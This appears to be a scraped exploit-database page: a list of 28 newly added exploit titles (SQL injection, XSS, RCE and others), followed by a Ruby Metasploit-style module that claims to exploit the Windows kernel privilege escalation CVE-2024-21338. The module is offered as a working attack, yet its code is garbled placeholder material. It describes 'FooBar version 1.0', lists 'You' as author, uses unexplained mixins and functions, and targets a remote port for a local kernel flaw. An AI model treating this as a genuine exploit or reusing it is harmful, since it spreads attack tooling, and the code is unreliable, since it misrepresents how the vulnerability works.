a44e138f78
28 changes to exploits/shellcodes/ghdb Casdoor < v1.331.0 - '/api/set-password' CSRF GL-iNet MT6000 4.5.5 - Arbitrary File Download Axigen < 10.5.7 - Persistent Cross-Site Scripting Blood Bank v1.0 - Stored Cross Site Scripting (XSS) CE Phoenix v1.0.8.20 - Remote Code Execution Daily Habit Tracker 1.0 - Broken Access Control Daily Habit Tracker 1.0 - SQL Injection Daily Habit Tracker 1.0 - Stored Cross-Site Scripting (XSS) E-INSUARANCE v1.0 - Stored Cross Site Scripting (XSS) Elementor Website Builder < 3.12.2 - Admin+ SQLi Employee Management System 1.0 - _txtfullname_ and _txtphone_ SQL Injection Employee Management System 1.0 - _txtusername_ and _txtpassword_ SQL Injection (Admin Login) FoF Pretty Mail 1.1.2 - Local File Inclusion (LFI) FoF Pretty Mail 1.1.2 - Server Side Template Injection (SSTI) Gibbon LMS v26.0.00 - SSTI vulnerability Hospital Management System v1.0 - Stored Cross Site Scripting (XSS) LeptonCMS 7.0.0 - Remote Code Execution (RCE) (Authenticated) Online Hotel Booking In PHP 1.0 - Blind SQL Injection (Unauthenticated) OpenCart Core 4.0.2.3 - 'search' SQLi Petrol Pump Management Software v1.0 - Remote Code Execution (RCE) Simple Backup Plugin Python Exploit 2.7.10 - Path Traversal Smart School 6.4.1 - SQL Injection Wordpress Plugin - Membership For WooCommerce < v2.1.7 - Arbitrary File Upload to Shell (Unauthenticated) ASUS Control Center Express 01.06.15 - Unquoted Service Path Microsoft Windows 10.0.17763.5458 - Kernel Privilege Escalation Microsoft Windows Defender - Detection Mitigation Bypass TrojanWin32Powessere.G Rapid7 nexpose - 'nexposeconsole' Unquoted Service Path
70 lines
No EOL
1.7 KiB
Ruby
Executable file
70 lines
No EOL
1.7 KiB
Ruby
Executable file
#############################################
|
||
# Exploit Title : Microsoft Windows 10.0.17763.5458 - Kernel Privilege Escalation
|
||
# Exploit Author: E1 Coders
|
||
# CVE: CVE-2024-21338
|
||
#############################################
|
||
|
||
|
||
require 'msf/core'
|
||
|
||
class MetasploitModule < Msf::Exploit::Remote
|
||
Rank = NormalRanking
|
||
|
||
include Msf::Exploit::Remote::DCERPC
|
||
include Msf::Exploit::Remote::DCERPC::MS08_067::Artifact
|
||
|
||
def initialize(info = {})
|
||
super(
|
||
update_info(
|
||
info,
|
||
'Name' => 'CVE-2024-21338 Exploit',
|
||
'Description' => 'This module exploits a vulnerability in FooBar version 1.0. It may lead to remote code execution.',
|
||
'Author' => 'You',
|
||
'License' => MSF_LICENSE,
|
||
'References' => [
|
||
['CVE', '2024-21338']
|
||
]
|
||
)
|
||
)
|
||
|
||
register_options(
|
||
[
|
||
OptString.new('RHOST', [true, 'The target address', '127.0.0.1']),
|
||
OptPort.new('RPORT', [true, 'The target port', 1234])
|
||
]
|
||
)
|
||
end
|
||
|
||
def check
|
||
connect
|
||
|
||
begin
|
||
impacket_artifact(dcerpc_binding('ncacn_ip_tcp'), 'FooBar')
|
||
rescue Rex::Post::Meterpreter::RequestError
|
||
return Exploit::CheckCode::Safe
|
||
end
|
||
|
||
Exploit::CheckCode::Appears
|
||
end
|
||
|
||
def exploit
|
||
connect
|
||
|
||
begin
|
||
impacket_artifact(
|
||
dcerpc_binding('ncacn_ip_tcp'),
|
||
'FooBar',
|
||
datastore['FooBarPayload']
|
||
)
|
||
rescue Rex::Post::Meterpreter::RequestError
|
||
fail_with Failure::UnexpectedReply, 'Unexpected response from impacket_artifact'
|
||
end
|
||
|
||
handler
|
||
disconnect
|
||
end
|
||
end
|
||
|
||
|
||
#refrence : https://nvd.nist.gov/vuln/detail/CVE-2024-21338
|
||
|